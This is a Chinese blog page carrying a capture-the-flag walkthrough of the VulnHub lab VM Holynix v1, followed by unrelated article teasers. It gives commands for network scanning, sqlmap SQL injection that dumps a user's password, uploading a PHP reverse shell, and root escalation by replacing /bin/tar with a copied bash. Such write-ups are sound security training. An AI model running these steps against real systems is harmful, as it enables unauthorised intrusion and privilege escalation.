vulnhub靶机:Holynix: v1

news2024/11/19 1:20:51

下载

下载地址:https://www.vulnhub.com/entry/holynix-v1,20/

打开虚拟机

选择下载解压之后的文件打开

新添加一张 NAT 网卡,mac 地址修改如下

00:0c:29:bc:05:de

给原来的桥接网卡,随机生成一个 mac 地址

然后重启虚拟机

信息收集

主机发现

arp-scan -l

端口扫描

nmap -p- 192.168。109.139

目录扫描

python3 dirsearch.py -u "192.168.109.172" -i 200

访问 web

进入 login 登录页面

点登录抓包,把数据包放到 1.txt 里用 sqlmap 进行测试

SQL注入

python3 sqlmap.py -r "D:\desktop\1.txt" --batch --dump

发现了用户和密码的表

账号:hreiser
密码:Ik1Ll3dNiN@r315er

登录成功

文件上传

除了第一个用户都可以上传,利用 kali 自带的反弹shell 的 php 上传

locate php-reverse
cp /usr/share/laudanum/php/php-reverse-shell.php .
vim php-reverse-shell.php
tar -czf shell.tar.gz php-reverse-shell.php

改成 kali(攻击机)的 IP 和监听端口

在 kali 的火狐浏览器上传 php 的压缩包,并勾选上自动解压(本机的火狐上传之后解压不成功)

开启监听

访问 kali 上的 url/~etenenbaum/ 页面,发现了上传的文件.

双击 php ,监听成功

sudo 提权

sudo -l 查看允许用户使用的命令

sudo -l

切换到/tmp目录下,将 /bin/bash 文件复制到 /tmp 目录下

cd /tmp
cp /bin/bash .

更改文件 /tmp/bash 的所有权,将所有者改为 root

sudo chown root:root/tmp/bash

将现有的 /bin/tar 文件备份到 bin/tar.bak 中

将 /tmp/bash 文件移动到 /bin/tar

执行 /bin/tar 命令,成功提权

sudo mv /bin/tar /bin/tar.bak
sudo mv /tmp/bash /bin/tar
sudo /bin/tar

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2132835.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++多态讲解

多态 多态的概念 通俗来说,就是多种形态。多态分为编译时多态(静态多态)和运行时多态(动态多态)这里重点讲运行时多态。 运行时多态 运行时多态,具体点就是去完成某个行为(函数),可以传不同的对象就会完成不同的行为,就达到多种形…

在VMware上怎么安装Windows11?看这个教程就足够了

前言 Windows11与Windows10或以下版本有个最大的不同,就是有配置要求。 它就是TPM 2.0。 TPM的全称是Trusted Platform Module,中文名称为:可信赖平台模块。 其中TPM 2.0与上一代的版本(TPM 1.2)有什么区别&#xf…

使用视图方式操作MySQL数据表

7.1  认识视图 7.1.1  视图的含义 视图是一种常用的数据库对象,可以把它看成从一个或几个源表导出的虚表或存储在数据库中的查询,对视图所引用的源表来说,视图的作用类似于筛选。 视图一经定义后,就可以像源表一样被查询、修…

如何看待 IBM 中国研发部裁员

一、引言 在全球信息技术飞速发展的时代,跨国科技企业一直扮演着重要的角色。IBM,作为全球知名的信息技术和业务解决方案公司,在中国市场也有着长期的发展历程。然而,近日 IBM 中国宣布撤出在华两大研发中心,进行大规…

Python画笔案例-045 绘制渐变圆盘

1、绘制 渐变圆盘 通过 python 的turtle 库绘制 渐变圆盘,如下图: 2、实现代码 绘制 渐变圆盘,以下为实现代码: """本程序需要coloradd模块支持,安装方法pip install coloradd """ import turtle …

本地电脑自定义数据使用yolov8数据对象检测

1.环境:本地电脑配置有GPU,python3.10,pytorch2.3.1,opencv_contrib_python-4.10.0.82,pycharm-community-2024.1.4,ultralytics-8.2.78源代码包 2.使用X-AnyLabeling标注数据,把标注后数据转成…

Modbus协议02:存储区简介

视频链接:【2】Modbus协议存储区说明_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV11G4y1W7pU?p2&vd_sourceb5775c3a4ea16a5306db9c7c1c1486b5 1.为什么需要存储区、存储区类型及代号 2.Modbus存储区范围及地址模型

AIGC 产品经理 快速入门方法论,零基础入门到精通,收藏这一篇就够了

AIGC 产品经理是什么 AIGC 产品经理是人工智能与大数据技术融合背景下应运而生的一种新型职业,负责从 AI 产品的设计、开发到推广的全过程,确保其顺利推向市场并实现良好的商业价值。 更具体地说,AIGC 产品经理就是将 AI 能生产内容的能力完…

nvidia常用的一些工具

Nvidia作为GPU王者,无论是生产学习游戏都占据半壁江山,尤其是AI时代的爆发,让Nvidia的生意更是如日中天。下面对Nvidia开放的一些免费工具进行总结,学会怎么使用会让我们更好的发挥Nvidia系列产品的性能。 (1&#xf…

充电桩平台的优惠券功能如何设计

在设计充电桩平台的优惠券功能时,应考虑以下细节: 优惠券的发放机制 自动发放与手动领取:用户可以通过完成特定任务(如注册、推荐新用户等)自动获得优惠券,或者在平台上手动领取。时间限制:设置…

Reflection反射

概述 Java反射机制是java语言的一个重要特性,首先我们要了解两个概念:编译期和运行期。 编译期 编译期是指把源代码交给编译器编译成计算机可以执行的文件的过程。在Java中,也就是把Java代码编译成class文件的过程,编译器只…

使用servlet将图片保存到数据库中

一、导入jar包,配置properties文件(src路径下) commons-fileupload-1.3.1.jar commons-io-2.2.jar druid-1.2.8.jar mysql-connector-java-8.0.25.jar servlet-api.jar # ????key-value??? driverClassNamecom.mysql.cj.jdbc.Driv…

优购电商小程序的设计与实现+ssm(lw+演示+源码+运行)

优购电商小程序 摘 要 随着社会的发展,社会的方方面面都在利用信息化时代的优势。互联网的优势和普及使得各种系统的开发成为必需。 本文以实际运用为开发背景,运用软件工程原理和开发方法,它主要是采用java语言技术和mysql数据库来完成对…

精选推荐!分享6款论文写作ai免费带附加文献

在当今学术研究和写作领域,AI论文写作工具已经成为不可或缺的助手。这些工具不仅能够提高写作效率,还能帮助研究人员和学生产出高质量的论文。以下是六款免费且功能强大的AI论文写作工具推荐: 一、千笔-AIPassPaper 千笔-AIPassPaper是一款…

【试听开放中】新中地2406期GIS特训营同步,定制专属学习路线图+职业规划

很多地信相关专业的同学都知道 学习开发很重要?项目实战经验很重要 但是在面对学什么语言?掌握什么技术的时候 同学又就开始犯嘀咕,这么多,到底学什么? 今天听人说Java不错,想学 明天听人说Python前景…

掌握“问一问”策略,视频号流量轻松实现质的飞跃!

掌握“问一问”策略,视频号流量轻松实现质的飞跃! 视频号新流量入口,微信问一问。如何玩转问一问功能,手把手操作教学。#视频号#微信#问一问#短视频#直播 市面上还有这么牛逼的一个流量隐藏入口,先看一下数据&#x…

算法工程师重生之第六天(四数相加II 赎金信 三数之和 四数之和 总结 )

参考文献 代码随想录 一、四数相加 II 给你四个整数数组 nums1、nums2、nums3 和 nums4 &#xff0c;数组长度都是 n &#xff0c;请你计算有多少个元组 (i, j, k, l) 能满足&#xff1a; 0 < i, j, k, l < nnums1[i] nums2[j] nums3[k] nums4[l] 0 示例 1&#x…

《Rocky Linux 的下载和安装详细步骤》

以下是 Rocky Linux 的下载和安装详细步骤&#xff1a; 下载&#xff1a; 1. 打开 Rocky Linux 的官方网站&#xff1a;https://rockylinux.org/ 2. 在首页找到“Download”&#xff08;下载&#xff09;选项&#xff0c;点击进入下载页面。 3. 在下载页面中&#xff0c;您…

【鸿蒙 HarmonyOS NEXT】使用屏幕属性display:获取屏幕宽高

✨本人自己开发的开源项目&#xff1a;土拨鼠充电系统 ✨踩坑不易&#xff0c;还希望各位大佬支持一下&#xff0c;在GitHub给我点个 Start ⭐⭐&#x1f44d;&#x1f44d; ✍GitHub开源项目地址&#x1f449;&#xff1a;https://github.com/cheinlu/groundhog-charging-syst…

three.js工厂案例

最终效果图 给定html页面&#xff0c;作为tag标签展示 <body style"background-color: black;"><div id"tag"><div style"position:relative;width:400px;height:322px;color: #fff;"><img src"background.png"…